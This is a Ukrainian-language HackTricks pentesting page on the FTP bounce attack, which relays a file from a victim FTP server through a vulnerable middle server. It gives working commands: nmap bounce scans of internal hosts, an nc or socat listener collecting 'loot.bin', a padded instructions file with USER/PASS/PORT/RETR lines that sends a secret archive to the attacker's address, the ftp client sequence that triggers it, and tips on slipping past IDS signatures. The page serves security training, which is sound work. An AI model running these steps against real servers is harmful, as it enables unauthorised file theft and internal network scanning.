FTP Bounce — завантаження 2-го FTP файлу

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Резюме

Якщо у вас є доступ до bounce FTP server, ви можете змусити його запросити файли з іншого FTP server (де ви знаєте деякі облікові дані) і завантажити цей файл на ваш власний сервер.

Вимоги

  • Дійсні FTP облікові дані на FTP Middle server
  • Дійсні FTP облікові дані на Victim FTP server
  • Обидва сервери accept the PORT command (bounce FTP attack)
  • Ви можете write в деякий каталог на FTP Middle server
  • FTP Middle server має more access всередині Victim FTP server, ніж ви

Кроки

  1. Підключіться до your own FTP server і переведіть з’єднання в пасивний режим (pasv command), щоб він listens у директорії, куди сервер жертви надішле файл.
  2. Створіть файл, який FTP Middle server відправить на Victim server (цей файл — exploit script). Цей файл буде у вигляді звичайного тексту з командами, необхідними для автентифікації на Victim server, зміни директорії та завантаження файлу на ваш сервер.
  3. Підключіться до FTP Middle Server і завантажте попередній файл.
  4. Змусьте FTP Middle server встановити з’єднання з Victim server та відправити exploit-файл.
  5. Отримайте файл на вашому власному FTP server.
  6. Видаліть exploit-файл з FTP Middle server.

Швидка перевірка на вразливі bounce hosts

  • Nmap все ще підтримує FTP bounce checks. Приклад для перевірки потенційного middle server:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>

Якщо сервер відхиляє сторонні значення PORT, сканування зазнає невдачі; деякі вбудовані/застарілі принтери, NAS та appliance FTP-демони досі це дозволяють.

Автоматизація другого FTP-завантаження

Нижче показано модернізований спосіб стягнути файл через вразливий проміжний FTP-сервер.

  1. Відкрийте пасивний listener на вашому attack box (будь-який TCP sink підходить):
nc -lvnp 2121 > loot.bin  # or run a small pyftpdlib server
  1. Зауважте вашу IP як A,B,C,D та порт P як p1,p2 (p1 = P/256, p2 = P%256).

  2. Сформуйте файл інструкцій, який проміжний сервер відтворить для жертви:

cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
  1. Завантажте та запустіть із проміжного сервера (класичний proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
  1. Заберіть файл із вашого listener-а (loot.bin).
  2. Приберіть завантажений файл instrs на проміжному сервері.

Примітки:

  • Паддінг (dd ...) запобігає закриттю керуючого з’єднання до завершення RETR (проблема великого TCP-вікна, описана в класичних матеріалах).
  • Будь-який сервіс, який може listen and dump TCP, може замінити FTP PASV-сокет (наприклад, socat -u TCP-LISTEN:2121,fork - > loot.bin).
  • Якщо проміжний сервер обмежує привілейовані порти, використовуйте високий порт у PORT та налаштуйте свій listener відповідно.

Додаткові трюки

  • Використайте bounceable FTP-сервер для port-scan internal hosts, коли ретрансляція файлів заблокована:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
  • Деякі сучасні WAF/IDS (наприклад, Juniper IPS) містять сигнатури спеціально для FTP:EXPLOIT:BOUNCE-ATTACK; гучні payloads або відсутній паддінг можуть їх спровокувати.
  • Коли проміжний сервер накладає обмеження «PORT to same host», розмістіть свій listener on the middle server itself (якщо маєте write/execute) і потім переспрямуйте захоплений файл.

Для більш детального старомодного покрокового опису дивіться: http://www.ouah.org/ftpbounce.html

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks